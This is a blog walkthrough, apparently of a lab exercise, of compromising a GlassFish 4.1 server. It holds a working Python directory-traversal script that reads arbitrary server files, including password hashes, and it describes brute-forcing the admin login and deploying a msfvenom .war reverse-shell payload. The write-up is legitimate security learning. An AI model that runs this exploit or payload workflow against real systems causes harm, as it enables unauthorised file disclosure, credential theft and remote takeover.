Exploiting GlassFish

by Vince
in Blog
Hits: 13765

Better late than never, I guess.  I wanted to write this up a while back but I got distracted and by the time I returned to my notes, I felt like I'd lost the flow.  I had the screenshots but when I looked at it, I could remember that I wanted to discuss a few points but I couldn't remember exactly what.  Rather than just upload the images with some text, I decided to go back through it once more.  But then I had an issue with the server where it was living and I ended up rebuilding the image.  So it's been awhile.  Moving on...

According to Wiki:  "GlassFish is an open-source application server project started by Sun Microsystems for the Java EE platform and now sponsored by Oracle Corporation. The supported version is called Oracle GlassFish Server."

When I began poking around, the avenues of attack for GlassFish felt similar to Tomcat.  When I searched for the difference, I came up with:  "Tomcat is simply an HTTP server and a Java servlet container. Glassfish is a complete Java EE application server."  So not exactly the same but perhaps they were built with a similar style.

In our enumeration process, we uncover the GlassFish login page:






When we check searchsploit, we find:




When I view the contents of the file for the GlassFish 4.1 Directory Traversal, I see a basic Local File Inclusion vulnerability which I decide to go after with Python:

#!/usr/bin/python

import urllib2
import os
import ssl

if (not os.environ.get('PYTHONHTTPSVERIFY', '') and
getattr(ssl, '_create_unverified_context', None)):
ssl._create_default_https_context = ssl._create_unverified_context
print "[*] Target URL format = https://www.mydomain.com:4848"
host = raw_input("[*] Enter target URL: ")

while True:

    print "[*] Target file format = windows/win.ini"
    file = raw_input("[*] Enter target file: ")
    path = '/theme/META-INF%c0%af..%c0%af..%c0%af..%c0%af..%c0%af..%c0%af..%c0%af..%c0%af..%c0%af..%c0%af..%c0%af..%c0%af..%c0%af'
    combined = host + path + file
    url = urllib2.urlopen(combined)
    print
    print ("fetching... ") + combined
    html = url.readlines()
    print
    print html
    print


I've highlighted the vulnerable URL and you can literally paste this into a browser to get the same result.  




I prefer to write this into a loop that allows me to hit a few different files should I choose to do so.

When we execute our script, I go after the win.ini file and when that works, I go after the GlassFish hash:





I spend entirely too much time trying to crack this hash -- unsuccessfully.  A few points on the hash.  First, there wasn't an obvious hash type.  Several are close.  There were also some reversing angles using base64 -d, xxd, and sed but that also went nowhere.  In each case, I ended up with a string and a possible hash type to crack with Hashcat but none were successful.  Eventually, I moved on because I don't know enough about this particular hash and the Internet didn't provide any concrete assistance.  

There's also another hash stored in:

c:\glassfish\glassfish4\glassfish\domains\domain1\config\local-password

But once again, I couldn't get the hash type and I was unable to crack it.

For the purpose of my education, I reset the password to one that I could brute force and then I went after it with Metasploit:




Once setup, I run:





Not long after, I retrieve the credentials and I'm heading for the admin interface:





Once we get into the admin interface, we see something that looks similar to Tomcat:





We browse to the Deploy page:





Assuming we're dealing with the same format, we generate a .war file with msfvenom:





We get our handler setup:





We then browse to our payload:






When we choose "OK", we see our uploaded payload:





We select Launch and we are brought to a secondary page which is a slight deviation from Tomcat but we'll roll with it:





Noting that it's using the server name instead of IP address, I quickly add an entry into the hosts file in order to keep this from failing.  Once I get the entry set, I click on the first link:





Moving back over to Metasploit:





We see the inbound connection from the GlassFish server.  

We could also perform this task with Metasploit:





A couple of things to point out.  First, it's very particular about the payload and the target.  Second, even though we get the correct payload and target, it takes a couple of tries to get a shell.  That's not necessarily unique for Metasploit but when we're dealing with an unknown application, it's possible to think it doesn't work but it's also maybe the time to hit run a few more times for good measure.

After two failed attempts, I run a third time:




And we catch our shell.

Metasploit also had a module for the Directory Traversal but I like the Python script with loop function where I can just enter a file name without having to do the extra steps. 

Aside from that, GlassFish is fairly standard.  I haven't encountered it previously and for the sake of trying to remember as much as possible, I like to go through it, write about it, and have a record for later review.  The password hash, for example, is something I might forget and I could end up burning more time to draw the same conclusion.